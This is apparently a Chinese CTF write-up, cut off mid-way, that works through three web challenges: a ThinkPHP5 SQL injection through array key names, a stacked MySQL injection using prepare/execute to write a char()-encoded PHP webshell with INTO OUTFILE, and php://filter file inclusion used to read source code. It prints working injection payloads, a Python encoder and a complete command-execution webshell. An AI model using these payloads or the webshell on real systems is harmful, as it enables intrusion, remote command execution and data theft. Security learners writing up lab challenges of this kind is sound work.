    $host = 'localhost'; // 主机名
    $dbName = 'test'; // 数据库名称
    $user = 'root'; // 用户名
    $pass = ''; // 密码

    // 数据源名称(DSN)
    $dsn = "$dbms:host=$host;dbname=$dbName";

    try {
    // 创建 PDO 实例
    $dbh = new PDO($dsn, $user, $pass);
    echo "连接成功<br/>";

    // 示例查询
    foreach ($dbh->query('SELECT * FROM users') as $row) {
    print_r($row);
    }

    // 关闭连接
    $dbh = null;
    } catch (PDOException $e) {
    // 错误处理
    die("连接失败: " . $e->getMessage());
    }
?>

因为学过PHP基础还是看得懂的,创建一个PDO实例,然后传入配置信息,用$dbh来使用,然后执行一个查询语句,结果为$row,然后打印这个结果,关闭连接,如果连接失败,捕获异常信息,然后结束,并报错

当然这个PDO还是有漏洞的,比如php在5.3.6下有个PDO本地查询造成SQL注入的漏洞,不过ThinkPHP框架要求的php版本是5.4,所以影响不到

该SQL注入漏洞形成最关键的一点是需要开启debug模式,而ThinkPHP最新的版本5.0.9默认依旧是开放着调试模式(别人文章的内容,现在具体是那个版本我没查)

国内文章最烦的就是这点,图片没了,根本看不懂讲得啥,更不用说去理解了,只能再看看其他的文章了

最后是在两篇文章和ai的帮助下勉强理解了,文章地址如下:

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
https://cloud.tencent.com/developer/article/1717889

看完并简单了解过后,我自己总结一下,可能不怎么准确或者不太正确,我是这样理解的,这段代码

<?php
namespace app\index\controller;

use app\index\model\User;

class Index
{
 public function index()
 {
     $ids = input('ids/a');
     $t = new User();
     $result = $t->where('id', 'in', $ids)->select();
 }
}

这段代码我还是很容易看懂的,除了/a是问ai才知道的,其他还是能够理解,声明命名空间,然后使用别个地方的User,然后创建一个Index类,然后有个index的方法,接收用户输入的ids为变量,不过进行了/a处理,然后$t是新建了一个User实例,然后构造where的语句,然后执行查询操作,返回的结果用$result来接收,/a处理是将用户输入的内容强制转换为数组,所以$ids实际上是一个数组,然后看这段代码:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
 // 处理带非单词字符的字段名
 $bindName = md5($bindName);
}

有些东西我也不懂,问ai和朋友才知道的,$bindName是生成绑定参数的名称,如果这个变量为空,就会使用后面的默认的'where_' . str_replace(['.', '-'], '_', $field);

这部分的意思是将变量$field字符串替换,如果带有点和杠就换成下划线,然后和where_这个字符串拼接

然后对这个参数进行判断,如果是非单词字符,就是除了字母、数字、下划线外的字符,只要有都会返回true,然后就会进入处理部分,将bindName转成md5

...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
 // IN 查询
 if ($value instanceof \Closure) {
     $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
 } else {
     $value = is_array($value) ? $value : explode(',', $value);
     if (array_key_exists($field, $binds)) {
         $bind  = [];
         $array = [];
         foreach ($value as $k => $v) {
             if ($this->query->isBind($bindName . '_in_' . $k)) {
                 $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
             } else {
                 $bindKey = $bindName . '_in_' . $k;
             }
             $bind[$bindKey] = [$v, $bindType];
             $array[]        = ':' . $bindKey;
         }
         $this->query->bind($bind);
         $zone = implode(',', $array);
     } else {
         $zone = implode(',', $this->parseValue($value, $field));
     }
     $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
 }

这个代码是一个判断,$exp 是操作符,比如:=, >, <, IN, NOT IN,然后in_array会检查变量$exp是否在这个[‘NOT IN’, ‘IN’]数组中,如果在,判断变量$value是否为闭包函数,如果是就用parseClosure这个方法处理

闭包函数就相当于一个临时的函数,如果不是闭包函数会检查$value是否为数组,把字符串按逗号切分成数组,$binds 是已经存在的绑定参数数组,array_key_exists($field, $binds) 检查当前字段是否已经有绑定(这两个解释是ai解释,我也没看懂),然后初始化$binds和$array,然后将$value这个数组遍历进变量k和变量v,前者是键,后者是值

然后调用query方法,然后是isBind,判断是否绑定过名字作为占位符,如果是,就用uniqid() 生成唯一ID避免冲突,不是就直接拼接,然后$bind[$bindKey] = [$v, $bindType] 将上一步拼接出来的 bindkey 添加到绑定过的列表中记录起来。 包含绑定的值和绑定的类型存储值和类型,v是值,bindType是类型,然后$array[] = ':' . $bindKey 创建SQL占位符,类似于前面python用的:

payload = "xxxx{}xxxx".format(id)

这个{}就是占位符,id就是传入的参数

$this->query->bind($bind) 把绑定参数注册到查询对象,$zone = implode(',', $array);则是将占位符数组用逗号拼接起来,用zone变量接收,如果if (array_key_exists($field, $binds)) {为false,也就是没有绑定参数,那么直接解析值,然后使用parseValue负责转义和处理

最后一行是拼接最终的SQL语句,$key 是字段名(如”id”),$exp 是操作符(如”IN”),$zone 是处理后的值列表

再回到前面来看,虽然bindName有过滤,如果不对会md5,但是如果我们传入的数组中的键是我们控制的恶意的,当他遍历后拼接依然是可以存在SQL注入的$bindName . '_in_' . $k,也就是说如果我们控制了预编译的键名,就等同于控制了预编译的SQL语句,理论上存在SQL注入漏洞,不过文章说是测试失败

这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:

  • 第一步是编译语句,prepare($SQL) 编译SQL语句
  • bindValue(param,value) 将value绑定到param的位置上
  • execute() 执行

然后我们控制了第二步的param变量,不过如果这个值是一个SQL语句的话,会在第二步抛出错误,执行不到第三步,导致注入失败,但是实际上我们可以在第一步编译的时候就可以利用:

客户端(PHP)                    数据库服务器
    |                              |
    |--- "这是带占位符的SQL" ------->|  // 第一步:prepare
    |                              |  // 数据库编译并等待参数
    |                              |
    |--- "参数1的值是xxx" ---------->|  // 第二步:绑定参数1
    |--- "参数2的值是yyy" ---------->|  // 第二步:绑定参数2
    |                              |
    |--- "开始执行" --------------->|  // 第三步:execute

这里要理清楚两种模式:

模拟预处理模式:

PHP负责所有的参数替换,完成替换后发送完整的语句执行

真实预处理模式:

数据库进行参数替换,使用的就是前面的占位符,然后依次传入参数替换

参数值不会被认为是SQL代码,不过因为在prepare阶段发送给MySQL的SQL语句如果包含可执行函数,MySQL仍然会执行这些函数,这就导致任然可以利用这点进行SQL注入,预编译阶段的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以使用这些函数还是会导致信息泄露

不过前提是设置了PDO::ATTR_EMULATE_PREPARES => false,关键是ThinkPHP5的默认配置刚好设置了,所以就产生了这个漏洞,我们只需要访问index然后带有恶意的payload(恶意的键名)就可以成功SQL注入

ids[0,updatexml(0,concat(0xa,user()),0)]=1

ids是参数,前面的0是键名1,后面的是键名2,然后1是值,那么重新开启靶机再访问这个index.php页面的时候带上这个参数看看:

http://node5.buuoj.cn:26736/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

然后返回了报错注入的信息

当然还有很多敏感信息,直接ctrl+f搜索一下就能在debug中找到flag了

也是成功夺旗!

flag{7cfff51a-98dc-4c9f-948f-888728c70502}

该说不说,解题人数不到1000人的题目的确难了很多,不过最后也是成功夺旗,没有问题,这个题目整整让我学习了一天,不过官方提供的github有payload,不过为了搞懂这个漏洞,我还是花了很多时间去学习,最后在朋友(菌丝)和ai以及文章的辅助下成功理解,不是完全理解,但是明白意思了,主要的注入点还是键名

[SUCTF 2018]MultiSQL

解题思路:

直接访问靶机,没有看见什么有用的信息,好像是一个静态页面的样子

多半是要考验我们的信息收集能力了,用burpsuite打开,查看http请求历史,然后一个一个的翻找,发现了一个有用的信息,在这个响应中带有登录和注册的地址,不过页面没有显示

值得一提的是,后来通过朋友菌丝的提示发现这里用的是css隐藏的,虽然我不是看得特别懂css,没学得太好,但是朋友告诉我了方法,直接搜索#navbar-main然后将左边那个地方的勾勾去掉就可以正常显示内容了

显示的内容如下:

依次点击看看,发现除了登录和注册按钮其他页面都是#也就是当前页面,没有任何意义,直接访问注册和登录页面看看,因为如果有注册页面,那么有很大的可能是二次注入的考验,不过还是要测试一下登录页面是否存在万能密码登录:

username=admin
password=1' or 1=1 #

然后提示用户名和密码错误,既然不是万能密码,那就多半是二次注入了,直接在注册页面注册一个123,123的账号和密码,然后登录页面登录,看看正常用户登录后显示的内容是什么样的

依次点开看看,先是用户信息

注册的第一个账号id就为2,说明本来就存在一个账号,并且id为1,那么id为1的账号肯定就是管理员的账号了,然后这个页面返回了用户名,说明用户信息页面肯定是调用了用户名的,就看怎么处理的

然后是编辑头像,有个上传的按钮,虽然考验的是SQL注入,不过正常环境不知道的情况下还是要对这个点进行文件上传漏洞测试的,不过既然考验的是SQL注入,除非需要用到,不然后面就不管了,然后我们访问刚刚的用户信息页面,发现URL中直接传递了参数

修改成1看看

验证了我们前面的猜想,试试能不能数字型注入:

1 and 1=2 没返回信息
1 and 1=1 也没返回信息
看来不是注入成功,只是单纯的过滤了

虽然数字型注入行不通,但是既然是数字值,我觉得是数字型的注入肯定是没问题的,于是我们尝试其他语句,目前知道id为1,就是管理员页面,id为2就是其他用户的页面,id为0没有信息,立刻就想到了布尔盲注,直接尝试elt,因为这个被过滤的可能性比较小:

elt(1,1)
elt(1,2)

返回第一个字符串,第一个字符串是1,所以返回管理员的页面,发现成功了,尝试第二个payload也成功了,返回了id为2的用户页面,说明这里存在elt盲注,那么没什么好说的,直接尝试database()看看这个有没有被过滤,因为数据库名长度肯定是大于等于1的,所以直接使用

elt(length(database())>=1,1)
elt(length(database())>=10,1)
elt(length(database())>=5,1)
elt(length(database())=3,1)

页面成功返回,并且是管理员的页面信息,说明没有过滤length函数和database函数,然后逐一爆破,成功获取到数据库名长度为3,然后使用substr看看:

elt(ascii(substr(database(),1,1))<127,1)
elt(ascasciiii(susubstrbstr(database(),1,1))<127,1)
elt(aSCIi(sUbSTr(database(),1,1))<127,1)

这个是用ascii和substr爆破,127以下到32是常用ascii,不管怎样,正常字符都会小于这个,然后返回true也就是1,但是发现没有用,说明存在过滤,并且过滤了ascii和substr,不过没关系,尝试一下啊双写绕过,还有大小写混用绕过,发现都没有用

那么接下来肯定是要Fuzz试试的,看看还过滤了什么,不过这里没有什么有特征的页面,只要不是数字肯定是无法返回正确页面的,所以不好直接进行Fuzz,不过知道肯定是有过滤的,既然ascii和substr都过滤了,而且还无法使用常规方法绕过,那么这么严格的过滤select和union肯定也差不多

那么这题多半是考的新知识,看看别人的wp学习一下,发现是利用SQL注入的堆叠注入设置变量和预处理语句写入Webshell,然后通过Webshell来获取flag,的确是新知识,打算后面跟着做,顺便用用我新搞的工具:

MySQL预处理,前面我们学习ThinkPHP的时候就知道了什么是预处理,将语句提前编译好,然后在需要传参的地方用占位符,在需要查询的时候执行查询,而传统的SQL查询就是脚本负责处理拼接,然后拼接完毕后发送给数据库执行,一次发送就执行一次查询,如果一个脚本文件对同一条语句反复执行多次的时候,MySQL服务器压力会变大,而预处理就是减轻压力的一种方法,这是我的理解,然后看了一下这篇文章:

https://www.cnblogs.com/jierong12/p/8882534.html

预处理的基本流程前面也提到过,第一步是发送编译好的预处理语句,因为这个语句相同格式,相同内容,所以可以直接编译后先传递给数据库(虽然在预编译阶段不会正常的读取数据库的数据,但是一些函数依旧能够执行);当预处理的SQL语句传递完毕后,其中可能还有参数需要传递,所以会使用占位符(类似于paython的.format,直接按位依次填入字符串,这里是按位依次填入SQL语句),然后当需要使用的时候,直接通过之前的占位符传递参数,这就是第二步;最后第三部就是执行

这样,一整个流程中因为结构相同的重复语句被提前编译,所以处理的更轻松,自然减轻了MySQL服务器的压力,接下来举一个不带参数的预处理的示例:

正常查询
select * from xxx
预处理
可以看到整个语句没有参数需要传递
那么就可以直接对整个语句预编译
prepare sql_1 from "select * from xxx";
预编译的语法为:prepare 语句名称 from "语句";

当我们想要使用的时候:	
execute sql_1; 
执行+语句名称;

当我们想要删除这个语句的时候:	
drop prepare sql_1;
drop prepare 语句名称;

很简单就能理解,接下来是需要传递参数的预处理示例:

预处理语句
prepare sql_2 from "select * from xxx where id = ?";
prepare 语句名称 from "语句?";
其中?是占位符,传递的参数的位置就是?的位置

在MySQL中变量名用@表示,跟PHP中的$一样
然后定义一个变量的方法是:
set @x=1;
set @变量名=值;

传递参数并执行预处理的语句
execute sql_2 using @x;
执行的语句就是
select * from xxx where id = 1
这样每次执行查询就只需要处理变量

如果需要传递多个参数,这则需要按位传递

python中的用法,这样会依次传入参数1,2,3
"xxxx{}xxxxx{}xxx{}xxx".format(1,2,3)

MySQL中用法
select * from xxx where username = ? and password = ?;
上面这个语句被预编译为sql_1
set @username=xxx;
set @password=xxx;
execute sql_1 using @username,@password;
这样执行语句的时候会依次传入用户名和密码

删除语句,和前面不带参数的语句一样
drop prepare 语句名称;

这就是预处理,一个脚本文件中预处理一条sql语句效果不明显,在反复执行某一条语句时使用预处理效率会提高

知道了这个新知识我们再来学习使用堆叠注入设置预处理和写入Webshell,一个简单的预处理利用示例:

MariaDB [(none)]> set @a='select version()';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> prepare t from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

MariaDB [(none)]> execute t;
+-------------------+
| version()         |
+-------------------+
| 10.1.29-MariaDB-6 |
+-------------------+
1 row in set (0.00 sec)

设置语句为@a,然后编译预处理语句,语句名为 t ,执行语句 t ,执行 select version,返回版本信息

接下来我们需要知道MySQL怎么写入数据到文件,在MySQL中想要写入文件需要使用这两个方法:

select "文件数据" into outfile "路径";
select "文件数据" into dumpfile "路径";

其中 outfile,是写入全部查询数据, 每行数据按照指定格式分隔,同时支持格式化处理;而 dumpfile 则只写入第一行数据,其他数据则被忽略,然后写入的是原始二进制数据,不支持格式化处理,不管那种,都需要MySQL有写入权限,都需要执行MySQL的用户具有写入权限,还需要secure_file_priv参数,如果为NULL则禁止读写,不过可以设置成某一目录或者为空(不限制),当然这个参数是静态变量,是在配置文件中的,需要重启才能生效,正常情况无法使用set secure_file_priv=来设置,就是为了防止SQL注入

既然知道了怎么写入数据,接下来我们就尝试构造payload写入Webshell,因为前面试过,正常的语句被过滤了,那么我们在构造payload的时候也要想办法绕过,这里我们就可以使用ascii编码来绕过,然后使用char来解码内容,然后设置这个为变量,然后通过预编译写入,最后执行预处理语句,就能够成功写入:

payload = select "文件数据" into outfile "路径"; 
编码payload,然后将内容解码
payload = char(xx,xx,xxx,xx,xxx,xx,xx,xx,...)
设置语句变量
set @payload=char(xx,xx,xx,xx,...);
进行预编译操作
prepare SQL_Injection from @payload;
执行预处理语句:
execute SQL_Injection;

使用堆叠注入的完整payload
?id=2;set @payload=char(xxx);prepare SQL_Injection from @payload;execute SQL_Injection;

好了,既然知道怎么注入了,接下来就是构造具体的payload数据,我们需要先构造一个PHP的Webshell,然后对这个Webshell进行ascii编码,这里使用python脚本来完成:

payload_str="<?php $password = '114514';if(isset($_GET['pwd']) && $_GET['pwd'] === $password){system($_GET['cmd']);}else{header('HTTP/1.0 404 Not Found');echo '404 Not Found';} ?>"

def ASCII_Bypass_MySQL(payload_str):
 ascii_result = "char("
 for char in payload_str:
     ascii_result += str(ord(char)) + ","

 ascii_result = ascii_result.rstrip(',') + ")"
 print(f"\n执行完毕:\n")
 print(ascii_result)

ASCII_Bypass_MySQL(payload_str)

先是构造Webshell,我搞得稍微复杂了一点,然后遍历字符串,然后编码,然后拼接,最后结果如下:

char(60,63,112,104,112,32,36,112,97,115,115,119,111,114,100,32,61,32,39,49,49,52,53,49,52,39,59,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,39,112,119,100,39,93,41,32,38,38,32,36,95,71,69,84,91,39,112,119,100,39,93,32,61,61,61,32,36,112,97,115,115,119,111,114,100,41,123,115,121,115,116,101,109,40,36,95,71,69,84,91,39,99,109,100,39,93,41,59,125,101,108,115,101,123,104,101,97,100,101,114,40,39,72,84,84,80,47,49,46,48,32,52,48,52,32,78,111,116,32,70,111,117,110,100,39,41,59,101,99,104,111,32,39,52,48,52,32,78,111,116,32,70,111,117,110,100,39,41,59,125,32,63,62)

然后再拼接SQL注入的语句,如下:

1;set @payload=char(60,63,112,104,112,32,36,112,97,115,115,119,111,114,100,32,61,32,39,49,49,52,53,49,52,39,59,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,39,112,119,100,39,93,41,32,38,38,32,36,95,71,69,84,91,39,112,119,100,39,93,32,61,61,61,32,36,112,97,115,115,119,111,114,100,41,123,115,121,115,116,101,109,40,36,95,71,69,84,91,39,99,109,100,39,93,41,59,125,101,108,115,101,123,104,101,97,100,101,114,40,39,72,84,84,80,47,49,46,48,32,52,48,52,32,78,111,116,32,70,111,117,110,100,39,41,59,101,99,104,111,32,39,52,48,52,32,78,111,116,32,70,111,117,110,100,39,59,125,32,63,62);prepare shell from @payload;execute shell;

GET请求参数长度通常限制在2048-8192字符,所以这个长度还是没有问题的,不过到这里我才发现怎么忘记写入了,payload是php代码啊,没有写入php文件,所以就更不用说连接了,还需要修改一下:

select "<?php $password = '114514';if(isset($_GET['pwd']) && $_GET['pwd'] === $password){system($_GET['cmd']);}else{header('HTTP/1.0 404 Not Found');echo '404 Not Found';} ?>" into outfile '/var/www/html/favicon/shell.php';

这才是整个sql语句,调整payload字符串,然后再生成一遍,结果如下:

char(115,101,108,101,99,116,32,34,60,63,112,104,112,32,36,112,97,115,115,119,111,114,100,32,61,32,39,49,49,52,53,49,52,39,59,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,39,112,119,100,39,93,41,32,38,38,32,36,95,71,69,84,91,39,112,119,100,39,93,32,61,61,61,32,36,112,97,115,115,119,111,114,100,41,123,115,121,115,116,101,109,40,36,95,71,69,84,91,39,99,109,100,39,93,41,59,125,101,108,115,101,123,104,101,97,100,101,114,40,39,72,84,84,80,47,49,46,48,32,52,48,52,32,78,111,116,32,70,111,117,110,100,39,41,59,101,99,104,111,32,39,52,48,52,32,78,111,116,32,70,111,117,110,100,39,59,125,32,63,62,34,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

然后拼接SQL注入的语句,不过在此之前我们需要知道这个路径是怎么来的,前面不是发现这个靶机还有一个头像编辑的地方吗,随便上传一个头像看看,这个地方肯定是对webshell做了限制,所以无法上传,不过我们只是想上传一个图片判断上传的位置,然后进行连接:

随便上传了一个小图片,如果图片大了可能失败,然后我们去用存在SQL注入的地方去写入文件,位置就是这个位置,前面payload也设置好了,直接发送payload,然后连接即可:

1;set @payload=char(115,101,108,101,99,116,32,34,60,63,112,104,112,32,36,112,97,115,115,119,111,114,100,32,61,32,39,49,49,52,53,49,52,39,59,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,39,112,119,100,39,93,41,32,38,38,32,36,95,71,69,84,91,39,112,119,100,39,93,32,61,61,61,32,36,112,97,115,115,119,111,114,100,41,123,115,121,115,116,101,109,40,36,95,71,69,84,91,39,99,109,100,39,93,41,59,125,101,108,115,101,123,104,101,97,100,101,114,40,39,72,84,84,80,47,49,46,48,32,52,48,52,32,78,111,116,32,70,111,117,110,100,39,41,59,101,99,104,111,32,39,52,48,52,32,78,111,116,32,70,111,117,110,100,39,59,125,32,63,62,34,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare shell from @payload;execute shell;

看来是执行成功了,返回了1的页面,接下来连接一下Webshell,用自己写的工具连的:

http://d363548b-632d-4e4d-8022-e320a4037f52.node5.buuoj.cn:81/favicon/shell.php

不过查找后发现没有找到,然后看了看别人的wp才发现根本不叫这个名字,甚至flag都不带flag这个关键字的,需要切换到根目录才可以,然后看一下根目录的文件

最后有一个WelL_Th1s_14_fl4g文件,然后我们cat查看一下看看

成功夺旗!

flag{accd185d-a43b-4609-a292-856598ca1b8e}

额外的收获:

因为之前没有用过这种注入方法,所以prepare和execute都没有加入到这个字典中,所以Fuzz跑不出来,现在加入后,以后跑出来发现没过滤,就可以尝试用这个方法进行SQL注入

[GXYCTF2019]BabysqliV3.0

解题思路:

还是先开启靶机,然后访问看看

有点忘记了之前有没有做过GXYCTF2019的Babysqli的其他题目,因为我除非是单独写了文件或者脚本,要不然都不会单独去记题目标题,因为记这个没有意义,做题做的是知识,是思路,如果只是靠记题目名记payload是没有意义的,碰上了变种还是不会,好了,不废话,直接开始测试,既然是登录框,肯定是要进行万能密码的测试

弹窗提示密码错误,不确定是过滤了还是其他问题,继续测试,先测试任意用户名和任意密码

可以看到,正常输入其他的用户名和密码返回的是没有用户,说明管理员的用户名没有问题,就是admin,然后我们尝试在username参数进行注入:

admin' or 1=1#

发现提示没有此用户,说明我们的'可能被转义或过滤了,admin用户名存在,admin' or 1=1#提示用户名错误,说明输入被当作字符串处理或者过滤了部分内容,导致拼接后的内容依旧不是存在的用户名,所以返回Not this user!我觉得前者的可能性比较高,既然注入没有进展,那么收集一下其他信息看看,发现没什么有用的信息,然后我查了一下wp,发现这里考验的不是SQL注入,而是弱口令,使用这个就可以登录:

admin
password

不是,又来?SQL注入的尽头是其他题目的结合是吧,然后前面我瞎试的时候(信息收集的时候)发现存在flag.php文件,不过没有输出内容,多半是写在php代码里面了,因为就那个页面是空白的,其他页面返回的是404,所以flag.php是存在的,然后这里又可以引用,多半是文件包含,那么尝试修改URL包含flag文件,返回了hacker,没关系,换成当前页面看看:

http://c37a8524-a605-4402-881b-9b7f64eb0227.node5.buuoj.cn:81/home.php?file=home

引用成功了,但是没有任何有用的信息,尝试使用php伪协议来获取文件信息,然后通过base64编码来输出:

http://c37a8524-a605-4402-881b-9b7f64eb0227.node5.buuoj.cn:81/home.php?file=php://filter/read=convert.base64-encode/resource=home

没问题了,F12将base64字符串解码一下获取文件内容:

当前引用的是 php://filter/read=convert.base64-encode/resource=home.phpPD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVjaG8gIjxtZXRhIGh0dHAtZXF1aXY9XCJDb250ZW50LVR5cGVcIiBjb250ZW50PVwidGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04XCIgLz4gPHRpdGxlPkhvbWU8L3RpdGxlPiI7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQppZihpc3NldCgkX1NFU1NJT05bJ3VzZXInXSkpew0KCWlmKGlzc2V0KCRfR0VUWydmaWxlJ10pKXsNCgkJaWYocHJlZ19tYXRjaCgiLy4/Zi4/bC4/YS4/Zy4/L2kiLCAkX0dFVFsnZmlsZSddKSl7DQoJCQlkaWUoImhhY2tlciEiKTsNCgkJfQ0KCQllbHNlew0KCQkJaWYocHJlZ19tYXRjaCgiL2hvbWUkL2kiLCAkX0dFVFsnZmlsZSddKSBvciBwcmVnX21hdGNoKCIvdXBsb2FkJC9pIiwgJF9HRVRbJ2ZpbGUnXSkpew0KCQkJCSRmaWxlID0gJF9HRVRbJ2ZpbGUnXS4iLnBocCI7DQoJCQl9DQoJCQllbHNlew0KCQkJCSRmaWxlID0gJF9HRVRbJ2ZpbGUnXS4iLmZ4eGt5b3UhIjsNCgkJCX0NCgkJCWVjaG8gIuW9k+WJjeW8leeUqOeahOaYryAiLiRmaWxlOw0KCQkJcmVxdWlyZSAkZmlsZTsNCgkJfQ0KCQkNCgl9DQoJZWxzZXsNCgkJZGllKCJubyBwZXJtaXNzaW9uISIpOw0KCX0NCn0NCj8+

解码后的内容:

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}
		else{
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
				$file = $_GET['file'].".php";
			}
			else{
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "当前引用的是 ".$file;
			require $file;
		}

	}
	else{
		die("no permission!");
	}
}
?>

不急着分析代码,既然我们之前找到一个flag文件,那么这里也用此方法引用一下,发现返回的还是hacker,没有编码,也没有引用成功,说明这里肯定是对flag进行了过滤

少打一个字符,发现引用成功,不过没有返回我们想要的,而且文件名很难评,不过没关系,分析一下home页面的源代码,这就跟我们这里的情况对上了,不过到这里我就感觉不对了,不是SQL注入吗,怎么开始成代码审计+弱口令了,后面看了一下别人的wp发现反序列化+命令执行都出来了

不是哥们,我不是在做SQL注入的题目吗,给我干哪来了?我甚至想过像前面那题一样是结合使用,比如预编译注入写入webshell,好歹还是有SQL注入,到这一题压根就不算是SQL注入了

秉承着做都做了的想法,干脆学呗,不过我这两个也不是很精通,又得看ai的代码分析和别人的wp来做题目了

先读取upload的代码:

http://c37a8524-a605-4402-881b-9b7f64eb0227.node5.buuoj.cn:81/home.php?file=php://filter/read=convert.base64-encode/resource=upload

当前引用的是 php://filter/read=convert.base64-encode/resource=upload.phpPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+IA0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCgnkuIrkvKDmlofku7YNCgk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+DQoNCjw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQpjbGFzcyBVcGxvYWRlcnsNCglwdWJsaWMgJEZpbGVuYW1lOw0KCXB1YmxpYyAkY21kOw0KCXB1YmxpYyAkdG9rZW47DQoJDQoNCglmdW5jdGlvbiBfX2NvbnN0cnVjdCgpew0KCQkkc2FuZGJveCA9IGdldGN3ZCgpLiIvdXBsb2Fkcy8iLm1kNSgkX1NFU1NJT05bJ3VzZXInXSkuIi8iOw0KCQkkZXh0ID0gIi50eHQiOw0KCQlAbWtkaXIoJHNhbmRib3gsIDA3NzcsIHRydWUpOw0KCQlpZihpc3NldCgkX0dFVFsnbmFtZSddKSBhbmQgIXByZWdfbWF0Y2goIi9kYXRhOlwvXC8gfCBmaWx0ZXI6XC9cLyB8IHBocDpcL1wvIHwgXC4vaSIsICRfR0VUWyduYW1lJ10pKXsNCgkJCSR0aGlzLT5GaWxlbmFtZSA9ICRfR0VUWyduYW1lJ107DQoJCX0NCgkJZWxzZXsNCgkJCSR0aGlzLT5GaWxlbmFtZSA9ICRzYW5kYm94LiRfU0VTU0lPTlsndXNlciddLiRleHQ7DQoJCX0NCg0KCQkkdGhpcy0+Y21kID0gImVjaG8gJzxicj48YnI+TWFzdGVyLCBJIHdhbnQgdG8gc3R1ZHkgcml6aGFuITxicj48YnI+JzsiOw0KCQkkdGhpcy0+dG9rZW4gPSAkX1NFU1NJT05bJ3VzZXInXTsNCgl9DQoNCglmdW5jdGlvbiB1cGxvYWQoJGZpbGUpew0KCQlnbG9iYWwgJHNhbmRib3g7DQoJCWdsb2JhbCAkZXh0Ow0KDQoJCWlmKHByZWdfbWF0Y2goIlteYS16MC05XSIsICR0aGlzLT5GaWxlbmFtZSkpew0KCQkJJHRoaXMtPmNtZCA9ICJkaWUoJ2lsbGVnYWwgZmlsZW5hbWUhJyk7IjsNCgkJfQ0KCQllbHNlew0KCQkJaWYoJGZpbGVbJ3NpemUnXSA+IDEwMjQpew0KCQkJCSR0aGlzLT5jbWQgPSAiZGllKCd5b3UgYXJlIHRvbyBiaWcgKOKAsuKWvWDjgIMpJyk7IjsNCgkJCX0NCgkJCWVsc2V7DQoJCQkJJHRoaXMtPmNtZCA9ICJtb3ZlX3VwbG9hZGVkX2ZpbGUoJyIuJGZpbGVbJ3RtcF9uYW1lJ10uIicsICciIC4gJHRoaXMtPkZpbGVuYW1lIC4gIicpOyI7DQoJCQl9DQoJCX0NCgl9DQoNCglmdW5jdGlvbiBfX3RvU3RyaW5nKCl7DQoJCWdsb2JhbCAkc2FuZGJveDsNCgkJZ2xvYmFsICRleHQ7DQoJCS8vIHJldHVybiAkc2FuZGJveC4kdGhpcy0+RmlsZW5hbWUuJGV4dDsNCgkJcmV0dXJuICR0aGlzLT5GaWxlbmFtZTsNCgl9DQoNCglmdW5jdGlvbiBfX2Rlc3RydWN0KCl7DQoJCWlmKCR0aGlzLT50b2tlbiAhPSAkX1NFU1NJT05bJ3VzZXInXSl7DQoJCQkkdGhpcy0+Y21kID0gImRpZSgnY2hlY2sgdG9rZW4gZmFsaWVkIScpOyI7DQoJCX0NCgkJZXZhbCgkdGhpcy0+Y21kKTsNCgl9DQp9DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpIHsNCgkkdXBsb2FkZXIgPSBuZXcgVXBsb2FkZXIoKTsNCgkkdXBsb2FkZXItPnVwbG9hZCgkX0ZJTEVTWyJmaWxlIl0pOw0KCWlmKEBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkZXIpKXsNCgkJZWNobyAi5LiL6Z2i5piv5L2g5LiK5Lyg55qE5paH5Lu277yaPGJyPiIuJHVwbG9hZGVyLiI8YnI+IjsNCgkJZWNobyBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkZXIpOw0KCX0NCn0NCg0KPz4NCg==

base64解码

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;


	function __construct(){
